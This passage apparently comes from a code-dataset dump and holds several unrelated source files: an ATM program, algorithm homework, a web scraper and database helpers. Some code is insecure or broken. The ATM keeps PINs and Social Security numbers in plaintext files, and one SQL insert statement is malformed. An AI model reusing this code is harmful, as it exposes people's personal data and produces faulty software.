SavingsBalanceRaw = SavingsFile.readline()\n SavingsBalance = SavingsBalanceRaw.rstrip('\\n')\n SavingsLastTransactionRaw = SavingsFile.readline()\n SavingsLastTransaction = SavingsLastTransactionRaw.rstrip('\\n')\n SavingsInterestRaw = SavingsFile.readline()\n SavingsInterest = SavingsInterestRaw.rstrip('\\n')\n Accounts.append({\"AccountNumber\":Savings, \"Pin\":SavingsPin, \"Type\":\"Savings\", \"Social\":SavingsSocial, \"Balance\":SavingsBalance, \"LastTransaction\": SavingsLastTransaction, \"Interest\":SavingsInterest})\n SavingsRead = SavingsFile.readline()\n CheckingsFile.close()\n SavingsFile.close()\n Main()\n#tested works\ndef ShowCustomerWelcome(error):\n global ErrorCount\n if error == 0:\n print(\"Welcome!\")\n AccountNumber = input(str(\"Please enter your account number: \"))\n PinNumber = input(str(\"Please enter your pin number: \"))\n Validate(1, AccountNumber, PinNumber)\n elif error == 1 and ErrorCount < 3:\n ErrorCount = ErrorCount + 1\n print(\"Invalid Account Information\")\n AccountNumber = input(\"Please enter your account number: \")\n PinNumber = input(\"Please enter your pin number: \")\n Validate(1, AccountNumber, PinNumber)\n elif ErrorCount >= 3:\n print(\"Invalid account information, returning to main menu\")\n Main()\n#Tested Works\ndef ShowStaffWelcome():\n Run = 'y'\n while Run == 'y':\n print(\"\")\n print(\"Welcome to the staff home page\")\n print(\"1. Open Account\")\n print(\"2. Close Account\")\n print(\"3. Interest Management\")\n print(\"0. Log Out\")\n Selection = int(input(\"What would you like to do?\"))\n if Selection < 4 and Selection > 0:\n Run = \"N\"\n StaffFunction(Selection)\n elif Selection == 0:\n Run = \"N\"\n Save()\n else:\n print(\"That was not an option.\")\n Main()\n#tested works\ndef Validate(type, TheAccount, ThePin):\n Found = 0\n if type == 1: #Customer accounts validation\n for Account in Accounts:\n if Account[\"AccountNumber\"] == TheAccount:\n if Account[\"Pin\"] == ThePin:\n Found = 1\n ShowCustomerHome(TheAccount)\n else:\n Found = 1\n ShowCustomerWelcome(1)\n if Found == 0:\n ShowCustomerWelcome(1)\n#Tested Works\ndef ShowCustomerHome(TheAccount):\n for Account in Accounts:\n if Account[\"AccountNumber\"] == TheAccount:\n if Account[\"Type\"] == \"Checkings\": #Checkings account\n Run = 'y'\n OpenAccount = Account[\"AccountNumber\"]\n while Run == 'y':\n print(\"\")\n print(\"Welcome to the home page\")\n print(\"Checkings Account Number:\", Account[\"AccountNumber\"])\n print(\"Current Account Balance: $\", Account[\"Balance\"], sep='')\n print(\"1. Withdraw\")\n print(\"2. Deposit\")\n print(\"3. Balance\")\n print(\"4. Transfer Funds\")\n print(\"5. Last Deposit Amount\")\n print(\"0. Log out\")\n Selection = int(input(\"What would you like to do?\"))\n if Selection < 6 and Selection > 0:\n Run = 'N'\n BankFunction(Selection, OpenAccount)\n elif Selection == 0:\n print(\"Have a nice day!\")\n Run = \"N\"\n Save()\n else:\n print(\"That was not an option.\")\n\n elif Account[\"Type\"] == \"Savings\": #Savings Account\n Run = 'y'\n OpenAccount = Account[\"AccountNumber\"]\n while Run == 'y':\n print(\"\")\n print(\"Welcome to the home page\")\n print(\"Savings Account Number:\", Account[\"AccountNumber\"])\n print(\"Current Account Balance: $\", Account[\"Balance\"], sep='')\n print(\"Current Interest Rate: %\", Account[\"Interest\"], sep='')\n print(\"1. Withdraw\")\n print(\"2. Deposit\")\n print(\"3. Balance\")\n print(\"4. Transfer Funds\")\n print(\"5. Last Deposit Amount\")\n print(\"0. Log out\")\n Selection = int(input(\"What would you like to do?\"))\n if Selection < 6 and Selection > 0:\n Run = 'N'\n BankFunction(Selection, OpenAccount)\n elif Selection == 0:\n print(\"Have a nice day!\")\n Run = \"N\"\n Save()\n else:\n print(\"That was not an option.\")\n\ndef StaffFunction(option):\n if option == 1: # Open Account WORKS\n TypeOfAccount = input(\"What kind of account would you like to open? (c or s)\")\n if TypeOfAccount.lower() == \"c\":\n for Account in Accounts:\n if Account[\"Type\"] == \"Checkings\":\n LastAccount = Accounts[len(Accounts)-1]\n AccountNumber = int(LastAccount[\"AccountNumber\"]) + 1\n PIN = input(\"Please enter the PIN: \")\n if len(PIN) > 4 or len(PIN) < 4:\n print(\"ERROR!\")\n print(\"PIN is invalid!\")\n return StaffFunction(1)\n else:\n PIN = int(PIN)\n SSN = (input(\"Enter in the Social Security Number: \"))\n if len(SSN) > 9 or len(SSN) < 9:\n print(\"ERROR!\")\n print(\"SSN is invalid!\")\n return StaffFunction(1)\n else:\n SSN = int(SSN)\n Deposit = float(input(\"Enter in Deposit Amount: \"))\n Accounts.append({\"AccountNumber\":AccountNumber, \"Pin\":PIN, \"Type\":\"Checkings\", \"Social\":SSN, \"Balance\":Deposit, \"LastTransaction\":0, \"Interest\":0})\n print(\"Account Number\",AccountNumber)\n print(\"Deposit Amount\",Deposit)\n print(\"Checkings Account Created\")\n Selection = None\n ShowStaffWelcome()\n elif TypeOfAccount.lower() == \"s\":\n for Account in Accounts:\n if Account[\"Type\"] == \"Savings\":\n LastAccount = Accounts[len(Accounts)-1]\n AccountNumber = int(LastAccount[\"AccountNumber\"]) + 1\n PIN = input(\"Please enter the PIN: \")\n if len(PIN) > 4 or len(PIN) < 4:\n print(\"ERROR!\")\n print(\"PIN is invalid!\")\n return StaffFunction(1)\n else:\n PIN = int(PIN)\n SSN = (input(\"Enter in the Social Security Number: \"))\n if len(SSN) > 9 or len(SSN) < 9:\n print(\"ERROR!\")\n print(\"SSN is invalid!\")\n return StaffFunction(1)\n else:\n SSN = int(SSN)\n Deposit = float(input(\"Enter in Deposit Amount: \"))\n Accounts.append({\"AccountNumber\":AccountNumber, \"Pin\":PIN, \"Type\":\"Savings\", \"Social\":SSN, \"Balance\":Deposit, \"LastTransaction\":0, \"Interest\":0})\n print(\"Account Number\",AccountNumber)\n print(\"Deposit Amount\",Deposit)\n print(\"Checkings Account Created\")\n Selection = None\n ShowStaffWelcome()\n else:\n print(\"That was not a selection\")\n Selection = None\n ShowStaffWelcome()\n elif option == 2: #Close Account WORKS\n Found = 0\n AccountToDelete = input(\"Please input the account number you would like to delete: \")\n for Account in Accounts:\n if Account[\"AccountNumber\"] == AccountToDelete:\n Found = 1\n Confirm = input(\"Are you sure you want to delete the account\" + Account[\"AccountNumber\"] + \"? (y or n)\")\n if Confirm.lower() == \"y\":\n Accounts.remove(Account)\n print(\"Account Removed.\")\n print(Accounts)\n Selection = None\n ShowStaffWelcome()\n elif Confirm.lower() == 'n':\n print(\"Returning to main menu.\")\n Selection = None\n ShowStaffWelcome()\n if Found == 0:\n print(\"Account not found.\")\n Selection = None\n ShowStaffWelcome()\n elif option == 3: #Interest WORKS\n Found = 0\n AccountToChange = input(\"Enter account number to add interest to: \")\n for Account in Accounts:\n if Account[\"AccountNumber\"] == AccountToChange:\n Found = 1\n print(\"Current interest on account is %\", Account[\"Interest\"], sep='')\n Choice = input(\"Would you like to add or remove interest?\")\n if Choice == \"add\":\n InterestToAdd = int(input(\"Enter amount of interest to add: \"))\n Account[\"Interest\"] = int(Account[\"Interest\"]) + InterestToAdd\n print(\"Interest Added to account.\")\n elif Choice == \"remove\":\n InterestToRemove = int(input(\"Enter amount of interest to remove: \"))\n if int(Account[\"Interest\"]) >= InterestToRemove:\n Account[\"Interest\"] = int(Account[\"Interest\"]) - InterestToRemove\n print(\"Interest Removed from account.\")\n else:\n print(\"ERROR: Unable to remove that amount.\")\n Selection = None \n ShowStaffWelcome()\n if Found == 0:\n print(\"Account not found please try again\")\n Selection = None\n ShowStaffWelcome()\n\n#TESTED WORKS\ndef BankFunction(option, OpenAccount):\n for Account in Accounts:\n if Account[\"AccountNumber\"] == OpenAccount:\n if option == 1: #Withdraw\n AmountToWithdraw = float(input(\"How much would you like to withdraw? \"))\n if AmountToWithdraw > float(Account[\"Balance\"]):\n print(\"ERROR!\")\n print(\"You only have $\", Account[\"Balance\"], \" in your account\", sep='')\n Selection = None\n ShowCustomerHome(OpenAccount)\n elif AmountToWithdraw < float(Account[\"Balance\"]):\n Account[\"Balance\"] = float(Account[\"Balance\"]) - AmountToWithdraw\n print(\"You have withdrawn $\", AmountToWithdraw, sep='')\n print(\"Your new account balance is $\", Account[\"Balance\"], sep='')\n Selection = None\n ShowCustomerHome(OpenAccount)\n elif option == 2: #Deposit\n AmountToDeposit = float(input(\"How much would you like to deposit? \"))\n Account[\"Balance\"] = float(Account[\"Balance\"]) + AmountToDeposit\n print(\"Your new account balance is $\", Account[\"Balance\"], sep='')\n Account[\"LastTransaction\"] = AmountToDeposit\n Selection = None\n ShowCustomerHome(OpenAccount)\n elif option == 3: #Balance\n print(\"Your account balance is $\", Account[\"Balance\"], sep='')\n Selection = None\n ShowCustomerHome(OpenAccount)\n elif option == 4: #Transfer\n AmountToTransfer = float(input(\"Enter amount to transfer: \"))\n AccountToTransfer = input(\"Enter the account number to transfer to: \")\n if AmountToTransfer > float(Account[\"Balance\"]):\n print(\"Error\")\n print(\"You only have $\", Account[\"Balance\"], \" in your account\", sep='')\n Selection = None\n ShowCustomerHome(OpenAccount)\n else:\n if AccountToTransfer == OpenAccount:\n print(\"ERROR: Cant transfer to your own account.\")\n Selection = None\n ShowCustomerHome(OpenAccount)\n else:\n Account[\"Balance\"] = float(Account[\"Balance\"]) - AmountToTransfer\n Transfer(AccountToTransfer, AmountToTransfer, OpenAccount)\n elif option == 5: #Last Deposit Amount\n print(\"Your last deposit amount was $\", Account[\"LastTransaction\"], sep='')\n Selection = None\n ShowCustomerHome(OpenAccount)\n#TESTED WORKS\ndef Transfer(Target, Amount, Account):\n Found = 0\n if Target and Amount:\n MainAccount = Account\n for Account in Accounts:\n if Account[\"AccountNumber\"] == Target:\n Found = 1\n Account[\"Balance\"] = float(Account[\"Balance\"]) + Amount\n print(\"Transfer Successful\")\n Selection = None\n ShowCustomerHome(MainAccount)\n if Found == 0:\n MainAccount = Account\n print(\"Sorry, that account was not found.\")\n Selection = None\n ShowCustomerHome(MainAccount)\n\n\n#Tested WORKS\ndef Save():\n Type = None\n TempFileCheckings = open(\"tempcheck.txt\", 'w')\n TempFileSavings = open(\"tempsavings.txt\", 'w')\n for Account in Accounts:\n if Account[\"Type\"] == \"Checkings\": #Checkings\n TempFileCheckings.write(Account[\"AccountNumber\"] + '\\n')\n TempFileCheckings.write(Account[\"Pin\"] + '\\n')\n TempFileCheckings.write(Account[\"Social\"] + '\\n')\n TempFileCheckings.write(str(Account[\"Balance\"]) + '\\n')\n TempFileCheckings.write(str(Account[\"LastTransaction\"]) + '\\n')\n elif Account[\"Type\"] == \"Savings\": #Savings\n TempFileSavings.write(Account[\"AccountNumber\"] + '\\n')\n TempFileSavings.write(Account[\"Pin\"] + '\\n')\n TempFileSavings.write(Account[\"Social\"] + '\\n')\n TempFileSavings.write(str(Account[\"Balance\"]) + '\\n')\n TempFileSavings.write(str(Account[\"LastTransaction\"]) + '\\n')\n TempFileSavings.write(str(Account[\"Interest\"]) + '\\n')\n TempFileCheckings.close()\n TempFileSavings.close()\n os.remove(\"checkings.txt\")\n os.rename(\"tempcheck.txt\", 'checkings.txt')\n os.remove(\"savings.txt\")\n os.rename(\"tempsavings.txt\", 'savings.txt')\n print(\"File Saved\")\n\nLoad()\n","sub_path":"atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":16316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"633454172","text":"\"\"\"\n「二分探索」\n\nコンピューターで扱うデータは多くの場合ある項目によって整列され管理されており、そのような場合はより効率的な探索アルゴリズムを適用する事ができる。二分探索はデータの大小を利用した高速な探索アルゴリズム。\n・キーの昇順に並んだデータが配列に格納されている場合\n①配列全体を探索の範囲とする\n②探索の範囲内の中央の要素を調べる\n③目的のキーと中央の要素のキーが一致すれば探索を終了する\n④目的のキーが中央の要素のキーよりも小さければ前半部分を、大きければ後半部分を探索の範囲として②へ戻る\n\"\"\"\n\n\n\n\n\n###############################################################\n\n# Python\n\n# ソートされてるのが前提条件\nlist = [1, 3, 5, 9, 18, 20]\nlow = 0\nhigh = len(list) - 1\nitem = 1 #検索したい数値\n\nwhile low <= high:\n mid = (low + high) // 2\n guess = list[mid]\n if guess == item:\n print(f\"見つかりました!{item}\")\n break\n elif guess < item:\n low = mid + 1\n elif guess > item:\n high = mid - 1\nif guess != item:\n print(f\"{item}は、listに存在しません\")\n","sub_path":"5_binary_search.py","file_name":"5_binary_search.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"443096278","text":"import numpy as np\r\n\r\npoly_a = [\r\n [-0.5, 0.0, 2.121320],\r\n [0.5, 0.0, 2.121320],\r\n [0.5, -0.707107, 2.828427],\r\n [0.5, 0.707107, 2.828427],\r\n [1, 1, 1]\r\n ]\r\n\r\npoly_a_prime = [\r\n [1.363005, -0.427130, 2.339082],\r\n [1.748084, 0.437983, 2.017688],\r\n [2.636461, 0.184843, 2.400710],\r\n [1.4981, 0.8710, 2.8837],\r\n [0, 0, 0] # We don't know the coordinate of p5 yet.\r\n ]\r\n\r\npoly_a = np.array(poly_a, dtype=np.float64)\r\npoly_a_prime = np.array(poly_a_prime, dtype=np.float64)\r\n\r\npoly_a_original = np.copy(poly_a)\r\np1_original = poly_a_original[0]\r\n\r\n# Moving the coordinates of A that makes p1 to O(0,0)\r\nfor i in range(poly_a.shape[0]):\r\n for j in range(poly_a.shape[1]):\r\n poly_a[i][j] -= p1_original[j]\r\n\r\n# p1 moved to O(0,0), so now vector p1p2 equals to p2 and p1p3 to p3\r\np2 = poly_a[1]\r\np3 = poly_a[2]\r\n\r\nvector_h = np.cross(p2, p3)\r\n\r\np2_prime = poly_a_prime[1] - poly_a_prime[0]\r\np3_prime = poly_a_prime[2] - poly_a_prime[0]\r\n\r\nvector_h_prime = np.cross(p2_prime, p3_prime)\r\n\r\n# Calculate Rotation axis vector between h and h`\r\n# by dividing h x h` with its norm\r\nrot_axis = np.cross(vector_h, vector_h_prime)\r\nrot_axis = rot_axis / np.linalg.norm(rot_axis)\r\n\r\n\r\n# Calculate Rotation angle(radian) between h and h'\r\n# by dividing inner product of h and h` with their norm\r\ncos_theta = np.inner(vector_h, vector_h_prime) / \\\r\n (np.linalg.norm(vector_h) * np.linalg.norm(vector_h_prime))\r\n\r\nsin_theta = np.sqrt(1 - cos_theta ** 2)\r\n\r\nux, uy, uz = rot_axis\r\n\r\nr1_mat = np.array([\r\n [cos_theta + ux**2 * (1 - cos_theta), ux*uy*(1-cos_theta)-uz*sin_theta, ux*uz*(1-cos_theta)+uy*sin_theta],\r\n [uy*ux*(1-cos_theta) + uz*sin_theta, cos_theta + uy**2 * (1-cos_theta), uy*uz*(1-cos_theta)-ux*sin_theta],\r\n [uz*ux*(1-cos_theta) - uy*sin_theta, uz*uy*(1-cos_theta) + ux*sin_theta, cos_theta+uz**2 * (1-cos_theta)]\r\n ])\r\n\r\nvector_q_prime = poly_a_prime[2] - poly_a_prime[0]\r\nvector_q = np.matmul(r1_mat, p3)\r\n\r\nux, uy, uz = vector_h_prime / np.linalg.norm(vector_h_prime)\r\n\r\ncos_theta_2 = np.inner(vector_q, vector_q_prime) / \\\r\n (np.linalg.norm(vector_q) * np.linalg.norm(vector_q_prime))\r\nsin_theta_2 = np.sqrt(1 - cos_theta_2 ** 2)\r\n\r\nr2_mat = np.array([\r\n [cos_theta_2 + ux**2 * (1 - cos_theta_2), ux*uy*(1-cos_theta_2)-uz*sin_theta_2, ux*uz*(1-cos_theta_2)+uy*sin_theta_2],\r\n [uy*ux*(1-cos_theta_2) + uz*sin_theta_2, cos_theta_2 + uy**2 * (1-cos_theta_2), uy*uz*(1-cos_theta_2)-ux*sin_theta_2],\r\n [uz*ux*(1-cos_theta_2) - uy*sin_theta_2, uz*uy*(1-cos_theta_2) + ux*sin_theta_2, cos_theta_2+uz**2 * (1-cos_theta_2)]\r\n ])\r\n\r\nprint(r1_mat)\r\nprint(r2_mat)\r\n\r\np4 = poly_a[3]\r\np1_original = poly_a_original[0]\r\np4_prime = poly_a_prime[3]\r\np4_prime_calculate = np.matmul(np.matmul(r1_mat, p4), r2_mat) + poly_a_prime[0]\r\nprint(p4_prime_calculate, p4_prime)\r\n","sub_path":"HW5/HW5_RigidTransform.py","file_name":"HW5_RigidTransform.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"163872768","text":"import pickle\nimport sqlite3\nimport jsonpickle\n\nfrom Dominio.Producto import Producto\n\n\nclass PersistenciaProducto:\n\n def connect(self):\n self.con = sqlite3.connect(\"la_tienda_de_mascota.sqlite\")\n self.__crear_tabla()\n\n\n def __crear_tabla(self):\n try:\n cursor = self.con.cursor()\n query = \"CREATE TABLE PRODUCTO(id text primary key,\" \\\n \" nombre text,precio float) \"\n cursor.execute(query)\n except sqlite3.OperationalError as ex:\n pass\n\n def guardar_producto(self,producto : Producto):\n cursor = self.con.cursor()\n query = \"insert into GUITARRA(id , nombre ,\" \\\n \" precio,\"\\\n f\" ?,?,?)\"\n cursor.execute(query,(str(producto.id),producto.nombre,producto.precio))\n self.con.commit()\n\n @classmethod\n def save(cls, producto):\n binary_open = open(\"files/\"+str(producto.id) + '.gui', mode='wb')\n pickle.dump(producto, binary_open)\n binary_open.close()\n\n @classmethod\n def load(cls, file_name):\n binary_open = open(\"files/\"+file_name, mode='rb')\n producto = pickle.load(binary_open)\n binary_open.close()\n return producto\n\n @classmethod\n def save_json(cls, producto):\n text_open = open(\"files/\"+str(producto.id) + '.json', mode='w')\n json_gui = jsonpickle.encode(producto)\n text_open.write(json_gui)\n text_open.close()\n\n\n @classmethod\n def load_json(cls, file_name):\n text_open = open(\"files/\"+file_name, mode='r')\n json_gui = text_open.readline()\n producto = jsonpickle.decode(json_gui)\n text_open.close()\n return producto","sub_path":"TiendaDeMascotas/Infraestructura/PersistenciaProducto.py","file_name":"PersistenciaProducto.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"504000517","text":"__all__ = ['CheckRT']\nfrom jax import jit\nimport jax.numpy as jnp\nimport numpy as np\n\nclass CheckRT(object):\n \"\"\"Jax Radiative Transfer class\n \n \"\"\"\n def __init__(self):\n self.xhamin=[]\n self.xhamax=[]\n self.aha=[]\n \n def check_hjert(self,numatrix,sigmaD,gammaL):\n \"\"\"cheking ranges of x and a in Voigt-Hjerting function H(x,a)\n \"\"\"\n a,xhmin,xhmax=compminmax(numatrix,sigmaD,gammaL)\n if len(self.xhamin)==0:\n self.xhamin=np.copy(xhmin)\n else:\n self.xhamin=np.min([self.xhamin,xhmin],axis=0)\n if len(self.xhamax)==0:\n self.xhamax=np.copy(xhmax)\n else:\n self.xhamax=np.max([self.xhamax,xhmax],axis=0)\n self.aha=np.copy(a)\n \n def plotxa(self):\n import matplotlib.pyplot as plt\n plt.plot(self.xhamax,self.aha,\".\",alpha=0.1,color=\"C1\")\n plt.plot(self.xhamin,self.aha,\".\",alpha=0.1,color=\"C0\")\n plt.yscale(\"log\")\n plt.xscale(\"log\")\n plt.xlabel(\"x\")\n plt.ylabel(\"a\")\n \n@jit\ndef compminmax(numatrix,sigmaD,gammaL):\n minnu=jnp.min(jnp.abs(numatrix),axis=1)\n maxnu=jnp.max(jnp.abs(numatrix),axis=1)\n sfac=1.0/(np.sqrt(2)*sigmaD)\n xmin=sfac*minnu\n xmax=sfac*maxnu\n a=sfac*gammaL\n return a,xmin,xmax\n","sub_path":"src/exojax/spec/rtcheck.py","file_name":"rtcheck.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"31257836","text":"import nibabel as nib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import gridspec\nimport os\nimport sys\nlist_file_name = [\n# 'relevance_NC_logit_0.nii.gz',\n# 'relevance_NC_logit_1.nii.gz',\n#\n# 'relevance_sMCI_logit_0.nii.gz',\n# 'relevance_sMCI_logit_1.nii.gz',\n#\n# 'relevance_pMCI_logit_0.nii.gz',\n# 'relevance_pMCI_logit_1.nii.gz',\n#\n# 'relevance_AD_logit_0.nii.gz',\n# 'relevance_AD_logit_1.nii.gz',\n\n'LRLC.nii.gz',\n'featuremap.nii.gz',\n]\n\nfor tmp_i in range(len(list_file_name)):\n file_dir_orig = '../featuremap/' + list_file_name[tmp_i]\n save_file_name = list_file_name[tmp_i][:-7]\n\n orig_img = nib.load(file_dir_orig).get_data()\n shape = orig_img.shape\n\n list_interval = []\n for j in range(3):\n tmp_list = []\n for i in np.arange(20, 81, 4):\n tmp_list.append(int(np.percentile(np.arange(0, shape[j]), i)))\n list_interval.append(np.hstack(tmp_list))\n\n axis_type = ['Sagittal', 'Coronal', 'Axial']\n\n fig = plt.figure(figsize=(list_interval[0].shape[0] * 3, len(axis_type) * 3))\n plt.rcParams.update({'font.size': 30})\n fig.suptitle(save_file_name, fontsize=30)\n\n heights = [1] * len(axis_type)\n widths = [10] * (list_interval[0].shape[0])\n widths.append(10)\n gs = gridspec.GridSpec(nrows=len(heights), # row\n ncols=len(widths),\n height_ratios=heights,\n width_ratios=widths,\n hspace=0.0,\n wspace=0.0,\n )\n\n cmap_orig = plt.get_cmap('Greys')\n\n # cmap_heatmap = plt.get_cmap('Reds')\n cmap_heatmap = plt.get_cmap('coolwarm')\n # cmap_heatmap = plt.get_cmap('bwr')\n\n # for orig\n if tmp_i == 0 :\n orig_vmax = np.percentile(orig_img, 99)\n orig_vmin = np.percentile(orig_img, 1)\n print(orig_vmin, orig_vmax)\n\n if np.abs(orig_vmax) > np.abs(orig_vmin):\n orig_vmax = np.abs(orig_vmax)\n orig_vmin = -np.abs(orig_vmax)\n else:\n orig_vmax = np.abs(orig_vmin)\n orig_vmin = -np.abs(orig_vmin)\n\n thresh_max = orig_vmax / 10 * 5\n thresh_min = orig_vmin / 10 * 5\n\n alpha = 0.5\n axes = []\n for j, q in enumerate(axis_type):\n for i, p in enumerate(list_interval[j]):\n\n ax1 = fig.add_subplot(gs[j, i])\n\n if j == 0:\n orig_scattering_img = np.asarray(orig_img[int(p), :, :])\n elif j == 1:\n orig_scattering_img = np.asarray(orig_img[:, int(p), :])\n elif j == 2:\n orig_scattering_img = np.asarray(orig_img[:, :, int(p)])\n\n orig_scattering_img = np.rot90(orig_scattering_img)\n\n if i == 0:\n # ax1.set_title(axis_type[j])\n ax1.set_ylabel(axis_type[j])\n # plt.ylabel(axis_type[j])\n im = ax1.imshow(orig_scattering_img, cmap=cmap_orig, vmin=orig_vmin, vmax=orig_vmax)\n # im = ax1.imshow(heatmap_scattering_img, cmap=cmap_heatmap, alpha=alpha, vmin=positive_vmin, vmax=positive_vmax)\n ax1.set_yticks([])\n ax1.set_xticks([])\n ax1.spines['right'].set_visible(False)\n ax1.spines['top'].set_visible(False)\n ax1.spines['bottom'].set_visible(False)\n ax1.spines['left'].set_visible(False)\n axes.append(ax1)\n del orig_scattering_img\n # ax1.axis('off')\n\n # (left, bottom, width, height)\n cax = plt.axes([0.95, 0.1, 0.01, 0.8])\n cbar = fig.colorbar(im, ax=axes, extend='both', cax=cax)\n\n cbar.set_ticks(np.array((orig_vmin, thresh_min, thresh_max, orig_vmax)))\n cbar.set_ticklabels([\"%.2f\" % (orig_vmin), \"%.2f\" % (thresh_min), \"%.2f\" % (thresh_max), \"%.2f\" % (orig_vmax)])\n # plt.subplots_adjust(bottom=0.1, right=0.6, top=0.9, left=0.5)\n\n plt.tight_layout()\n plt.savefig('./' + save_file_name)\n plt.close('all')\n","sub_path":"prac/plot_relevanceMap.py","file_name":"plot_relevanceMap.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"267972231","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 30 17:48:44 2021\n\n@author: HP\n\"\"\"\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nimport pandas\nimport time\nfrom bs4 import BeautifulSoup\nfrom selenium.common.exceptions import ElementClickInterceptedException, StaleElementReferenceException\nfrom datetime import datetime, timedelta\nimport os\nimport requests\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\noutput_directory = dir_path+\"\\\\cryptoslam_main_pages\" # Data will be printed out here\n\nif not os.path.exists(output_directory): # create the folder if not exists already\n os.mkdir(output_directory)\n\ndef contains(list_1,list_2):\n \"\"\"\n Check if list_1 elements is in list_2\n \"\"\"\n boolean = True\n for item in list_1:\n if item not in list_2:\n boolean = False\n return boolean \n# https://cryptoslam.io/cryptopunks/marketplace buraya da bak\n# product sayfasından top market buyers ı al\ndef obtain_series_links(series_names):\n links = []\n for product in series_names[0]:\n product = product.lower()\n splitted = product.split()\n product = \"-\".join(splitted)\n series_link = \"https://cryptoslam.io/\" + product \n links.append((product,series_link))\n return links\n\nseries_names = pandas.read_pickle(\"series_names.pkl\") # Get series names (cryptopunks, art blocks etc.)\nseries_main_pages = obtain_series_links(series_names)\noptions = webdriver.FirefoxOptions()\n# options.headless = True\noptions.add_argument(\"--start-maximized\")\n\nbrowser = webdriver.Firefox(options=options)\nfor page in series_main_pages:\n series_name = page[0]\n if os.path.exists(output_directory+\"\\\\cryptoslam_\"+page[0]+\".xlsx\"):\n continue\n \n urlpage = page[1]\n\n \n browser.get(urlpage)\n browser.maximize_window() \n time.sleep(10)\n\n try:\n browser.find_element_by_xpath(\"/html/body/div[3]/div[1]/div[1]\").click()\n except :\n pass\n time.sleep(10)\n \n soup = BeautifulSoup(browser.page_source)\n soup_table = soup.find_all(\"table\")\n tables = pandas.read_html(str(soup_table))\n \n for table in tables:\n if contains([\"Buyer\",\"Amount\",\"USD\"],table.columns) :\n top_buyers_table = table \n elif contains([\"Seller\",\"Amount\",\"USD\"],table.columns):\n top_sellers_table = table \n \n # Get the tables of top buyers and sellers\n result_buyers =browser.find_elements_by_xpath(\"/html/body/div[2]/div/div[5]/div/div[2]/div[2]/div[3]/div[1]/div/div[3]/div/div[2]/div/table/tbody/tr/td[1]/a\")\n result_sellers =browser.find_elements_by_xpath(\"/html/body/div[2]/div/div[5]/div/div[2]/div[2]/div[3]/div[2]/div/div[3]/div/div[2]/div/table/tbody/tr/td[1]/a\")\n \n # Sometimes the pages loads partially, and I cant gather top seller and buyer data,\n # If i cant gather data, I reload the page. try this until we gather the tables, or we tried atleast 5 times\n try_refreshing = 0\n while len(result_buyers) == 0:\n \n browser.refresh()\n time.sleep(5)\n result_buyers =browser.find_elements_by_xpath(\"/html/body/div[2]/div/div[5]/div/div[2]/div[2]/div[3]/div[1]/div/div[3]/div/div[2]/div/table/tbody/tr/td[1]/a\")\n result_sellers =browser.find_elements_by_xpath(\"/html/body/div[2]/div/div[5]/div/div[2]/div[2]/div[3]/div[2]/div/div[3]/div/div[2]/div/table/tbody/tr/td[1]/a\")\n try_refreshing +=1\n if try_refreshing == 5:\n break\n \n buyer_data= list()\n seller_data = list()\n \n # Gather buyer and seller addresses\n for result in result_buyers:\n address = result.get_attribute(\"data-original-title\")\n buyer_data.append(address) \n \n for result in result_sellers:\n address = result.get_attribute(\"data-original-title\")\n seller_data.append(address) \n \n try:\n top_buyers_table[\"Buyer\"] = buyer_data\n top_sellers_table[\"Seller\"] = seller_data \n print(series_name,\"gathered\")\n \n except ValueError:\n print(series_name,\"failed to gather\")\n continue\n \n if len(top_buyers_table) == 0:\n print(series_name)\n\n top_buyers_table.to_excel(output_directory+\"\\\\cryptoslam_\"+page[0]+\"_top_buyers.xlsx\")\n top_sellers_table.to_excel(output_directory+\"\\\\cryptoslam_\"+page[0]+\"_top_sellers.xlsx\")\nbrowser.quit() # Kill the browser","sub_path":"cryptoslam_main_page_data.py","file_name":"cryptoslam_main_page_data.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"352452538","text":"from models import Number, Router, Routers, Neighbours\nfrom typing import List\n\ndef get_max_count(session):\n number = (\n session.query(Number)\n .order_by(Number.count.desc())\n .all()\n )\n return number[0].count\n\n\ndef insert_count(session, count):\n insert = Number(\n count=count\n )\n session.add(insert)\n session.commit()\n\n\ndef insert_router_info(session, name, port, pc_id):\n insert = Routers(\n router_name=name,\n router_port=port,\n pc_id=pc_id\n )\n session.add(insert)\n session.commit()\n\n\ndef insert_router_table(session, name, pc_id, hop_cost, neighbour):\n insert = Router(\n owned_by=name,\n destination_pc_id=pc_id,\n hop_cost=hop_cost,\n neighbour=neighbour\n )\n session.add(insert)\n session.commit()\n\ndef get_routing_table(session, name) -> List[Router]:\n return (\n session.query(Router)\n .filter(Router.owned_by == name)\n .all()\n )\n\ndef get_router_names(session) -> List[Routers]:\n return (\n session.query(Routers.router_name)\n .all()\n )\n\n\ndef get_routing_table_pc_names(session, name) -> List[Router]:\n return (\n session.query(Router.destination_pc_id)\n .filter(Router.owned_by == name)\n .all()\n )\n\n\ndef get_hop_cout(session, name, pc_name):\n get = (\n session.query(Router)\n .filter(Router.owned_by == name)\n .filter (Router.destination_pc_id == pc_name)\n .one()\n )\n return get.hop_cost, get.id\n\ndef delete_routing_table_row(session, id):\n session.query(Router).filter(Router.id == id).delete()\n session.commit()\n\ndef get_neighbours(session, name):\n return (\n session.query(Neighbours.neighbour)\n .filter(Neighbours.router_name == name)\n .all()\n )\ndef get_neighbour_port(session, neighbour_name):\n return (\n session.query(Routers.router_port)\n .filter(Routers.router_name == neighbour_name)\n .all()\n )\n\ndef get_neighbour_in_routing_table(session, name, 